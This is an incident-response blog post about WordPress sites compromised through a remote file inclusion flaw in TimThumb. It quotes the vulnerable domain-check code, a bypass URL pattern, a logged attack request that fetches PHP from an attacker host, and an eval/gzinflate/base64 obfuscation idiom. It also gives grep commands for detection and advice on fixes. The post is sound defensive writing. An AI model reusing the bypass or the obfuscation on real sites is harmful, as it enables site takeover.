Vulnerability Management, Incident Response

Does Timthumb own your WordPress site?

Share

I was reading through the show notes and the story about WordPress sites being compromised due to a timthumb vulnerability jumped right out at me. I recently finished doing some incident response on a number of sites compromised by this one. The vulnerability was initially reported by Mark Maunder, a user of WordPress and Timthumb. Mark has a pretty solid write up on how he found it and what the issue is on his site. Mark went further and did a rewrite of timthumb to deal with the issue and has gotten that merged into the timthumb code back in early August. So cheers to him for not only spotting the issue, but rewriting it to fixing it too.
To recap his post, the problem is that Timthumb allows you to remotely reference files, resize them and upload them to your site. (Anyone see the possible problem yet? Yay, remote file inclusion!)
Here was Mark’s analysis on how the vuln was used.


The default configuration of timthumb.php which many themes use allow files to be remotely loaded and resized from the following domains:

$allowedSites = array (
'flickr.com',
'picasa.com',
'blogger.com',
'wordpress.com',
'img.youtube.com',
'upload.wikimedia.org',
'photobucket.com', );

The problem is the way the developer checks which domain he’s fetching from. He uses the PHP strpos function and if the domain string appears anywhere in the hostname, he’ll allow that file to be fetched.
So if you create a file on a web server like so: http://blogger.com.somebadhackersite.com/badscript.php and tell timthumb.php to fetch it, it merrily fetches the file and puts it in the cache directory ready for execution.
Source Article


And that’s pretty much what I saw on the sites I was dealing with. The remotely added php files I found did things like send spam and added a web based shell which was then used for other shenanigans.
To find what had been done on the server, I ended up spending lots of quality time with the log files. To look for signs of compromise I used the following command.

grep timthumb.php apace-access.log | grep -v "http://my.domain.com"

It still is a bit noisy with some other enties, but you quickly start finding log entries that look like this:

XX.XX.XX.XX - - [12/Dec/2011:09:11:45 -0600] "GET /wp-content/themes/awake/lib/scripts/timthumb.php?src=http://picasa.com.xpl.be/yahoo.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"

What I usually saw after a successful attack was a GET request to test the file that they placed in the cache directory was there and was working. At that point you’re owned.
So what next? Well, then your incident response plan takes affect. Chase back what IPs are abusing timthumb.php. What files did they access? Are there any PHP executing out of the cache directory in the theme?
One of the things I noticed was that the attackers were trying to “hide” what they were doing by gzipping the ASCII of their PHP code and then base64 encoding it. They’d then dump that into a PHP file and its contents looked something like this:

eval(gzinflate(base64_decode('BLOB OF ASCII')));

It makes it look very obscure at first glance, but fairly screams that something is wrong here. So one way to help chase down things like this is to this handy little command.

egrep -r "eval(gzinflate(base64_de" . --include=*.php

Basically a recursive grep that only opens up PHP files to look for our evil code. It doesn’t find everything, but I still found it very useful in this case.
Now for a few things to do to help fix the issue. If you can remove TimThumb the site, do it. I don’t like the idea of using a script which is designed to pull files from remote sites. If you can’t get away with removing it, then upgrade to the latest verstion of timthumb. Then you can disable the functionality which allows using remote files and configure your cache directory to never allow or execute PHP files.

Paul Asadoorian

Paul Asadoorian is currently the Principal Security Researcher for Eclypsium, focused on firmware and supply chain security awareness. Paul’s passion for firmware security extends back many years to the WRT54G hacking days and reverse engineering firmware on IoT devices for fun. Paul and his long-time podcast co-host Larry Pesce co-authored the book “WRTG54G Ultimate Hacking” in 2007, which fueled the firmware hacking fire even more. Paul has worked in technology and information security for over 20 years, holding various security and engineering roles in a lottery company, university, ISP, independent penetration tester, and security product companies such as Tenable. In 2005 Paul founded Security Weekly, a weekly podcast dedicated to hacking and information security. In 2020 Security Weekly was acquired by the Cyberrisk Alliance. Paul is still the host of one of the longest-running security podcasts, Paul’s Security Weekly, he enjoys coding in Python & telling everyone he uses Linux.

Get daily email updates

SC Media's daily must-read of the most current and pressing daily news

By clicking the Subscribe button below, you agree to SC Media Terms of Use and Privacy Policy.